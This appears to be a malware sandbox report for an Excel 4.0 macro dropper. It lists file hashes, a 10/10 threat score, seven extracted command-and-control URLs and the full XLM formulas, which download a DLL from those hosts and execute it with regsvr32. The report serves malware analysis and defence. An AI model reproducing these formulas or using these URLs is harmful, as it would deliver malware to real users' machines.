General

  • Target

    8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab

  • Size

    49KB

  • Sample

    241111-w3zljawqcr

  • MD5

    3bec766d56d150577c797d1c635c44b2

  • SHA1

    c7cb93852020ce8a7e4bc48778d23363050fb101

  • SHA256

    8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab

  • SHA512

    47025d537e54a8d668fe5a7e36a339a3f65604b2ecc8ec38b0ffaf59ce4eb1d6f72414de5c79279fd448b9de6a9e66a9cb123cffb4f49b019f5034713721d078

  • SSDEEP

    1536:kAcEOt24xZdRBzH9hJBrdEwwNXekVIe260:NcEc2Kd3zdtdEwoB2t

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://alinatourbg.com/mail/TBCGVNzLeENXb/

http://alinac.ca/images/Lp6yKpIpRf6/

http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/

http://amakpost.com/assets/c8AT1uoCVLSxez/

http://alsanjari.co.uk/alsanjari.com/CynW/

http://alicehui.com/pics/fETgjDyPfUBQp/

http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alinatourbg.com/mail/TBCGVNzLeENXb/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alinac.ca/images/Lp6yKpIpRf6/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amakpost.com/assets/c8AT1uoCVLSxez/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alsanjari.co.uk/alsanjari.com/CynW/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://alicehui.com/pics/fETgjDyPfUBQp/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://alinatourbg.com/mail/TBCGVNzLeENXb/

xlm40.dropper

http://alinac.ca/images/Lp6yKpIpRf6/

xlm40.dropper

http://www.alsancaklimanemlak.com/system/T8nE1jfQ7W/

xlm40.dropper

http://amakpost.com/assets/c8AT1uoCVLSxez/

xlm40.dropper

http://alsanjari.co.uk/alsanjari.com/CynW/

xlm40.dropper

http://alicehui.com/pics/fETgjDyPfUBQp/

xlm40.dropper

http://amasides.my.id/cgi-bin/uFqdwCqAP7mro/

Targets

    • Target

      8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab

    • Size

      49KB

    • MD5

      3bec766d56d150577c797d1c635c44b2

    • SHA1

      c7cb93852020ce8a7e4bc48778d23363050fb101

    • SHA256

      8ae7fb9c60681e554ce56170404462b7b100b1f0715f2699a7690a682583b8ab

    • SHA512

      47025d537e54a8d668fe5a7e36a339a3f65604b2ecc8ec38b0ffaf59ce4eb1d6f72414de5c79279fd448b9de6a9e66a9cb123cffb4f49b019f5034713721d078

    • SSDEEP

      1536:kAcEOt24xZdRBzH9hJBrdEwwNXekVIe260:NcEc2Kd3zdtdEwoB2t

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks